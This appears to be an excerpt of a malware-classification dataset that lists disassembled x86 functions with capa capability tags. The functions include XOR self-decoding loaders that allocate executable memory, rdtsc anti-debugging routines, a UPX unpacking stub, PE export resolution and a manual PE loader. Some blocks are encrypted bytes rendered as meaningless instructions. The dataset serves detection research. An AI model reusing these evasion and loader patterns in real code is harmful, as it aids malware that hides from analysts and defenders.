joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x407ebf
pop dword [ebp - 0x24]
mov eax, 0x4be8b8e0
sub eax, 0x4ba83a21
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xeeddc18d
add dword [ebp - 0x34], 0x5f7483be
mov dword [ebp - 0x30], 0x3036d1f9
sub dword [ebp - 0x30], 0xfe0385b4
mov dword [ebp - 0x2c], 0x730d233f
add dword [ebp - 0x2c], 0xd93f20ef
mov dword [ebp - 0x28], 0x8601f06
sub dword [ebp - 0x28], 0x8601f06
lea eax, [ebp - 0x34]
push eax
mov eax, 0x7d3bd6f1
sub eax, 0x7cfa56a1
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xba6c8470
sub dword [ebp - 0x34], 0x45fa1b1a
mov dword [ebp - 0x30], 0xccf2b357
add dword [ebp - 0x30], 0x7479ae1e
mov dword [ebp - 0x2c], 0xf9b97ded
sub dword [ebp - 0x2c], 0x964a1181
mov dword [ebp - 0x28], 0x12bc6a46
sub dword [ebp - 0x28], 0x12bc6a46
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x593d4c52
sub eax, 0x58fbcc06
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x393a2
push 0
call eax
mov ecx, 0x3f69
xor esi, esi
add esi, eax
mov edi, 0x553baeb6
add edi, 0xab07294a
add edi, dword [ebp - 0x24]
mov ebx, 0x77d5e87b
add ebx, 0x2d8eae8e
xor dword [ebp - 0x10], 0xf8c135b9
mov edx, dword [edi]
add dword [ebp - 0x10], ecx
add edx, ebx
sub dword [ebp - 8], 0xb0c02da0
mov dword [esi], edx
add dword [ebp - 0x20], edi
add esi, 0x778cb5f1
add esi, 0x88734a13
add edi, 0xf6849158
add edi, 0x97b6eac
loop 0x407fdd
add eax, 0xf077
mov ebx, eax
add eax, 0x9bfaae9e
sub eax, 0x9bfaae99
mov ecx, 0x69c990f5
sub ecx, 0x698990f5
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4085d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4085e3
repz ret
jmp fcn.004101ab
Function at 0x40b7c4
Capabilities:
Encode data using xor

Disassembly:
pop es
invalid
lodsd eax, dword [esi]
jecxz 0x40b741
mov esi, 0x2a28c125
or al, 0xd0
add ebx, dword [reloc.MSVCRT.dll_strncpy]
sbb eax, 0xd5b2b2e2
test al, 0x85
loopne 0x40b7ef
and al, 0x81
or dword [reloc.MSVCRT.dll_strncpy], ebp
sub ebx, ebx
sahf
sbb byte [edx], cl
add al, 0xe0
or al, byte [eax]
push ecx
mov al, byte [0xcf6275a1]
or dword [edx], 0x6b
and al, 0xc6
inc esi
mov ecx, 0xede23ea7
in eax, dx
in eax, dx
dec ecx
xor eax, 0x2318a18c
fcmovnbe st(0), st(7)
mov word [ecx - 0x2824dce8], fs
pop ss
cmp byte [edx - 0x4a], al
mov gs, word [eax + edi*8]
loop 0x40b7d9
jo 0x40b7bc
or dh, byte [edi - 0x4c22d943]
cwde
sub bh, ah
dec ebp
xlatb
lcall 0x4560, 0x80e2
loopne 0x40b7b9
outsd dx, dword [esi]
sahf
mov al, 0xf5
insd dword es:[edi], dx
xchg esi, eax
xor bh, cl
cmp al, cl
fdiv st(3)
jae 0x40b855
pop di
jp 0x40b898
arpl word [edx - 0x21], ax
sub esp, dword [ebx + 0x60]
in eax, 0x33
adc al, 0xf9
sub byte [ebx], dh
or al, 0x28
int 0x30
out 0x21, al
dec eax
test dword [ebx + reloc.MSVCRT.dll_strncpy], esi
mov bl, 0xa6
inc ecx
inc edi
pop es
adc ebx, ebp
not byte [eax - 0x48]
inc esp
dec bh
xchg esp, eax
jle 0x40b82c
and byte [edx + 0x38], cl
inc eax
lodsd eax, dword [esi]
jmp 0x40b897
inc ecx
invalid
or eax, 0x81dcd687
hlt
bound eax, qword [edi + 3]
hlt
inc edi
add esi, esp
jno 0x40b888
add bl, byte [ebx + 0x25]
push cs
push 0x2e
rol esp, cl
push ss
sahf
add al, 0xee
out dx, al
push esi
add ch, cl
xor al, 0x6f
js 0x40b8a8
outsd dx, dword [esi]
push cs
xchg esi, eax
dec ebp
cmp dword [esi - reloc.MSVCRT.dll_strncpy], ebx
inc esp
test dword [ecx*4 - reloc.MSVCRT.dll_strncpy], esp
mov ah, 0x54
or al, 0xb4
shl al, 1
jbe 0x40b931
aas
lds ecx, [edi + 0x6c]
frstor dword [esi - 0x52]
adc ch, ah
xor eax, 0xadcd5d80
pop esp
lahf
movsd dword es:[edi], dword [esi]
push cs
push edi
out dx, al
and al, byte [edx - 0xb]
pop es
hlt
salc
invalid
lahf
mov dh, 0x9b
dec ecx
sbb eax, 0x27541aa
mov byte [eax - 0x49cf5dc9], ah
cwde
cmpsb byte [esi], byte es:[edi]
jecxz 0x40b96a
pop ecx
test byte [edx], bh
dec ebp
cli
invalid
out 0x3a, al
xlatb
pop edx
add al, 0xc4
jge 0x40b902
adc eax, 0x5348af42
adc al, 0x91
in eax, 0xfc
int3
Function at 0x5c3268
Capabilities:
Execute anti-debugging instructions

Disassembly:
dec eax
clc
lea esp, [esp + 1]
add esp, 1
rdtsc
inc edx
jmp 0x5c326e
mov dl, cl
bswap edx
jmp 0x5c3252
xchg dx, ax
bswap esi
mov eax, 0xdfcb36fe
cld
bsr eax, eax
mov dword [esp], esi
jmp 0x5c32b1
sub dx, 0xaea8
rcr eax, 7
rdtsc
xchg word [esp], ax
jmp 0x5c32c2
xchg al, dh
mov ax, 0xb6a1
rdtsc
pop si
add esp, 0
or eax, eax
jmp 0x5c329b
mov dx, 0x2305
lea edx, [eax + eax]
call fcn.005c337d
jnp 0x5c32c0
add ax, si
push edi
in eax, dx
jge 0x5c32dc
mul dword [ecx]
jl 0x5c332b
clc
mov ax, word [esp + 1]
lea esp, [esp]
btr si, si
push word [esp + 1]
call fcn.005c334d
fst qword [edx + ecx*8 - 0x53]
pop esp
mov bl, 0x41
ret
pop dword [esp]
ror si, cl
jmp 0x5c32f7
Function at 0x5c334d
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg dword [esp], edx
xchg dh, dl
clc
push word [esp + 5]
xchg byte [esp + 4], al
sub esp, 0xe
jmp 0x5c3351
xchg ah, dh
jmp 0x5c3333
cmc
stc
rcl esi, 0x12
pop dx
pop dword [esp + 4]
lea esp, [esp]
jmp 0x5c3365
stc
lea eax, [ebp*4]
or dl, 0x9c
rcr ah, 4
setne dh
jmp 0x5c339e
mov dx, si
mov si, 0xb614
push dword [esp + 0xf]
lea eax, [edx + ebp]
bswap eax
jmp 0x5c33b7
lea edx, [ecx + 0xdb]
mov dx, 0x4558
push word [esp + 0xb]
xchg dl, dh
btr ax, ax
pop ax
jmp 0x5c3388
setbe dl
mov si, dx
pop word [esp + 7]
xchg byte [esp + 0xf], dl
xchg dx, si
mov eax, 0x22c1709c
jmp 0x5c3475
setle al
xchg word [esp], dx
sub esp, 0x1f
pop word [esp + 6]
neg dh
push word [esp + 0x16]
jmp 0x5c344f
dec dh
mov ax, 0xefa
dec ax
xchg edx, eax
push word [esp + 1]
pop word [esp]
jmp 0x5c33f9
mov word [esp + 8], di
lea esi, [edi*4]
add esp, 0xf
jmp 0x5c34a5
lea eax, [edi*4]
pop dword [esp + 6]
pop word [esp + 0xf]
mov si, word [esp + 5]
bts esi, esi
xchg word [esp + 9], ax
jmp 0x5c3439
mov word [esp + 0xa], bx
lea esp, [esp + 0xa]
xchg dword [esp + 4], edx
mov byte [esp + 1], al
add esp, 7
mov word [esp], cx
jmp 0x5c3424
cld
pop dword [esp + 7]
rcl al, 2
pop dword [esp + 2]
neg edx
pop si
jmp 0x5c34fa
xchg word [esp + 0xa], dx
neg esi
not dh
push esi
not ax
xchg byte [esp + 0xb], al
jmp 0x5c348f
setbe dh
sete dl
rol ax, cl
cmc
xchg edx, esi
rdtsc
jmp 0x5c3526
push dword [esp + 6]
xchg word [esp + 4], si
sub esp, 5
mov esi, dword [esp + 8]
stc
xchg byte [esp], dh
jmp 0x5c34df
pop eax
mov eax, dword [esp + 2]
xchg si, dx
mov dword [esp], esi
mov al, byte [esp + 7]
jmp 0x5c362d
std
xchg word [esp + 0xc], dx
mov dx, 0xbdcd
mov dh, ch
ror dl, cl
pop edx
jmp 0x5c3510
xchg byte [esp + 4], dl
lea edx, [ecx + edi]
rdtsc
call fcn.005c3562
xchg ah, dl
pop dword [esp + 0xd]
mov si, word [esp + 2]
mov dh, cl
rdtsc
add esp, 0x22
jmp 0x5c35bb
neg dh
mov word [esp], cx
rol ax, cl
push word [esp + 1]
jmp 0x5c3601
rdtsc
xchg si, ax
mov eax, dword [esp]
not esi
setle dl
clc
jmp 0x5c372d
lea esp, [esp + 4]
mov esi, 0xe970c8f7
sub dx, 0x40c2
mov ax, si
xchg word [esp + 1], ax
pop eax
jmp 0x5c35eb
mov dl, ch
neg dl
mov ah, 0xe9
bswap eax
xchg dh, ah
pushal
jmp 0x5c3578
inc esi
mov dl, byte [esp]
call fcn.005c36cf
dec eax
xlatb
inc edi
and dl, cl
pop eax
salc
dec eax
fidivr word [ecx + 0x6665cf48]
or edx, 0x1b6b4a4
or dx, 0xb4a4
mov dh, 1
setb dl
lea esi, reloc.MSVCRT.dll_strncpy
mov dh, byte [esp]
mov al, 0xdc
jmp 0x5c363d
cld
xchg al, ah
not dx
mov ax, word [esp]
lea esi, [ecx*4]
mov dh, 0x93
jmp 0x5c3653

Function at 0x5c3562
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop dword [esp + 0xa]
xchg word [esp + 6], si
setge dh
jmp 0x5c35d2
mov word [esp + 0x1f], ax
mov dword [esp + 0x1d], edx
bswap esi
xchg dword [esp + 4], edx
not eax
push word [esp + 0x13]
jmp 0x5c3586
bts dx, bp
mov byte [esp + 0x1f], bl
lea eax, reloc.MSVCRT.dll_strncpy
not dl
push word [esp]
setbe ah
jmp 0x5c35a3
Function at 0x5c3f8d
Capabilities:
Execute anti-debugging instructions

Disassembly:
std
sub esp, 0x12
pop ax
add esp, 8
not al
xchg word [esp], ax
mov word [esp], bp
lea esp, [esp + 1]
mov byte [esp], bl
not ah
jmp 0x5c300e
add esp, 2
bsf si, dx
mov al, byte [esp + 1]
mov byte [esp], ah
xchg word [esp], ax
mov word [esp], sp
jmp 0x5c303d
lea esp, [esp + 2]
mov ah, byte [esp]
mov ax, bx
mov edx, 0x1359f79b
not si
mov dword [esp], edi
jmp 0x5c3547
pop dword [esp + 1]
pop dword [esp]
sub esp, 1
lea eax, [edx + edi]
stc
adc edx, 0x982acf5e
jmp 0x5c37b5
lea esi, [ebx*4]
pop word [esp + 0xb]
pop dword [esp + 8]
jmp 0x5c3cc8

Function at 0x5c45e2
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x1b
jmp 0x5c4619
neg eax
mov ah, al
bswap eax
stc
mov dword [esp + 4], edx
rdtsc
jmp 0x5c4655
mov word [esp + 9], bx
pop word [esp + 7]
lea esp, [esp + 1]
mov dword [esp + 0xb], eax
bt ax, bx
rol al, 6
jmp 0x5c4603
sub esp, 0x19
bsr dx, bx
mov dx, word [esp + 5]
jmp 0x5c47ac
sub esp, 8
mov eax, 0x1487ad1f
mov dword [esp + 5], ecx
mov dl, 0x61
mov ch, 0xdb
bsf cx, dx
jmp 0x5c463f
lea esp, [esp + 2]
call fcn.005c4694
mov ax, cx
add esp, 4
pop ax
mov al, byte [esp]
clc
mov ecx, 0x7e4a809e
jmp 0x5c46f5
lea edx, [ebx*4]
setge al
lea ecx, [edi + edi]
xchg cx, ax
mov edx, 0x518285f6
sub esp, 3
jmp 0x5c46aa
clc
cld
mov ch, 0x1d
xchg dl, ch
cld
mov ecx, dword [esp]
jmp 0x5c473c
mov eax, 0x28b0921
mov eax, ecx
bswap ecx
mov ecx, 0x3bf81e8a
mov ax, cx
mov eax, dword [esp]
jmp 0x5c46db
pop cx
mov eax, dword [esp + 1]
pop word [esp + 8]
neg ch
cmp al, ch
jmp 0x5c477e
inc ax
sub esp, 0x15
lea esp, [esp]
mov dword [esp + 0xe], edi
cld
rcl dh, 5
jmp 0x5c4726
neg edx
add esp, 0
pop eax
adc eax, eax
mov byte [esp], ah
bswap eax
jmp 0x5c4710
btc dx, ax
mov ax, word [esp + 6]
neg edx
sub al, dh
jmp 0x5c4793
not cx
push bx
add esp, 0xc
xchg byte [esp + 4], dl
not dx
bt ax, di
jmp 0x5c4768
push dword [esp + 3]
pop cx
std
mov byte [esp + 5], dl
push word [esp + 3]
rdtsc
jmp 0x5c4847
push word [esp + 0x15]
lea esp, [esp + 0x18]
xchg byte [esp + 1], cl
rdtsc
push bp
mov dl, 0x32
jmp 0x5c4759
lea esp, [esp]
push dword [esp + 6]
call fcn.005c4807
adc byte [eax], 0x86
loope 0x5c47e2
sbb al, 0x8d
sbb eax, 0x8e7c9764
push ds
mov ebx, gs
sub edi, 0x930fe524
les ecx, [ebx + 0xf07244c]
xor dword [ebx], edi
ror dword [edx + reloc.MSVCRT.dll_strncpy], cl
pop edx
and al, 0xe5
setae ah
mov ecx, dword [esp + 7]
rdtsc
cmp edx, ebx
mov dl, ah
jmp 0x5c47c1
cmc
mov ax, bp
lea eax, [edi + 0xfb]
not cx
jmp 0x5c482a
lea ecx, reloc.MSVCRT.dll_strncpy
add esp, 0
call fcn.005c4814
pop ds
invalid
not dh
mov dx, 0x4158
pop word [esp + 3]
mov ch, byte [esp + 2]
bt ecx, esp
mov cx, si
jmp 0x5c47e0

Function at 0x5c4694
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea eax, [ebp*4]
lea eax, reloc.MSVCRT.dll_strncpy
mov dword [esp], ebp
jmp 0x5c46b3
Function at 0x5c542c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], ebx
bsr cx, bx
lea ecx, [edx + ebx]
jmp 0x5c544e
Function at 0x4b5e70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x73000]
push edi
jmp 0x4b5e8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b5e91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5e80
mov eax, 1
add ebx, ebx
jne 0x4b5ea3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b5eb4
jne 0x4b5ed3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5ed3
dec eax
add ebx, ebx
jne 0x4b5ec0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b5e98
add ebx, ebx
jne 0x4b5ecf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b5f25
xor ecx, ecx
sub eax, 3
jb 0x4b5eeb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b5f5a
sar eax, 1
mov ebp, eax
jmp 0x4b5ef6
add ebx, ebx
jne 0x4b5ef6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5ec4
inc ecx
add ebx, ebx
jne 0x4b5f04
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b5ec4
add ebx, ebx
jne 0x4b5f11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b5f06
jne 0x4b5f22
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b5f06
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b5f44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b5f36
jmp 0x4b5e86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b5f44
add edi, ecx
jmp 0x4b5e86
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b5f62
cmp byte [edi], 0x13
jne 0x4b5f62
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b5f67
lea edi, [esi + 0xb1000]
mov eax, dword [edi]
or eax, eax
je 0x4b5fdf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xba8bc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbaa10]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b5f94
mov ecx, edi
jns 0x4b5fc3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbaa14]
or eax, eax
je 0x4b5fd9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b5fb1
call dword [esi + 0xbaa24]
mov ebp, dword [esi + 0xbaa18]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b6013
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x40c8e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40c8ef
pop dword [ebp - 0x28]
mov eax, 0x39a6c735
add eax, 0xc69a01ba
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3dc70
push 0
mov eax, 0xd1eb2a56
add eax, 0x2e5797ce
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x387a
mov esi, eax
mov edx, 0xbf3b1eff
sub edx, 0xbef716ff
add edx, dword [ebp - 0x28]
mov ebx, 0x233a73cb
sub ebx, 0xb4d597fb
sub dword [ebp - 0x10], 0x549c6715
mov edi, dword [edx]
sub dword [ebp - 8], 0x2359cc16
add edi, ebx
xor dword [ebp - 0xc], 0x64ab663c
mov dword [esi], edi
sub dword [ebp - 4], 0x4fa853b1
add esi, 4
add edx, 0x45aafa02
add edx, 0xba550602
loop 0x40c948
add eax, 0xd4bb
xor ebx, ebx
add ebx, eax
add eax, 0x1fca4490
add eax, 0xe035bb75
mov ecx, 0x18a138cd
add ecx, 0xe79ec733
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4111d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
inc ebx
push ebx
xor edi, edi
push edi
push 0x431bfc
push 0x80000002
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 0x200
call esi
test eax, eax
jne 0x411235
lea eax, [ebp - 8]
push eax
push str.EnableJavaUpdate
push dword [ebp - 0xc]
mov dword [ebp - 8], edi
call main
add esp, 0xc
test eax, eax
je 0x411227
cmp dword [ebp - 8], ebx
je 0x41122a
mov dword [ebp - 4], ebx
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x411243
push str.ISAUDisabled__:_Error_opening_HKLM_Policy_key_for_reading
call main
pop ecx
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], edi
jne 0x4112d5
call fcn.00410107
test eax, eax
jne 0x4112d2
call main
test eax, eax
je 0x4112d2
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
push 0x431c74
push 0x80000001
call esi
test eax, eax
jne 0x4112d5
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
push edi
push edi
push 0x431c9c
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
cmp esi, edi
jne 0x4112d5
mov dword [ebp - 8], edi
call fcn.0040feb9
test eax, eax
je 0x4112c7
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0040ff5d
mov eax, dword [ebp - 8]
add esp, 0x10
jmp 0x4112cd
mov eax, dword [ebp - 0x210]
cmp eax, 0x64
jne 0x4112d5
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4187e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43a210]
jne 0x4187ee
repz ret
jmp fcn.00420617
Function at 0x10005310
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
mov edi, edx
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x24]
add ecx, ebx
mov dword [ebp - 0x10], ecx
add edx, ebx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add ecx, ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
test eax, eax
je 0x10005390
mov dh, byte [edi]
xor esi, esi
mov eax, edi
test dh, dh
je 0x1000536d
mov ecx, dword [ecx + esi*4]
mov dl, dh
sub ecx, edi
add ecx, ebx
nop dword [eax + eax]
cmp byte [ecx + eax], dl
jne 0x10005383
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x10005360
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
pop edi
movzx eax, word [eax + esi*2]
pop esi
mov eax, dword [ecx + eax*4]
add eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
inc esi
cmp esi, dword [ebp - 4]
je 0x10005390
mov ecx, dword [ebp - 8]
mov eax, edi
jmp 0x10005352
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x41485c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov eax, ecx
push edi
mov edi, esi
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], esi
je 0x4148a6
call fcn.00403835
push 0xf0
push dword [ebp + 0xc]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4148a3
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4148f4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov eax, dword [ebp - 4]
xor ebx, ebx
inc ebx
test esi, esi
je 0x4148d2
mov ecx, dword [eax]
push dword [ebp + 0x10]
push esi
mov esi, dword [ecx + 0x20]
mov ecx, esi
push dword [ebp + 8]
call fcn.005457e6
mov ecx, dword [ebp - 4]
call esi
mov ebx, eax
test edi, edi
je 0x4148d2
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x70]
test edi, edi
je 0x4148f2
mov eax, dword [edi]
push dword [ebp + 0x10]
mov esi, dword [eax + 0xa0]
mov ecx, esi
call fcn.005457e6
mov ecx, edi
call esi
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x416f12
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x416f26
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x416f21
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x416f0b
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x416f13
cmp edx, ebx
jne 0x417061
invalid
add byte [ebx + 0x45830448], cl
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
invalid
or byte [edx], al
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x416ee2
add eax, dword [eax + 4]
jmp 0x416ecf
mov dword [ebp + 0xc], ebx
jmp 0x416f31
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x416f49
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x416f67
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x416fc5
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x416fac
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x416fb5
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x416fbf
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x416fa1
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x416f2b
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x417012
dec eax
je 0x417009
sub eax, 3
je 0x417000
mov dword [ebp - 4], 0x40
jmp 0x41702f
mov dword [ebp - 4], 4
jmp 0x417015
mov dword [ebp - 4], 0x20
jmp 0x417015
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x417061
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x416fe1
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00416872
push esi
pushal
insd dword es:[edi], dx
out dx, al
push dword [ebp + 0x14]
push 1
push esi
call edi
mov eax, esi
jmp 0x41706d
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret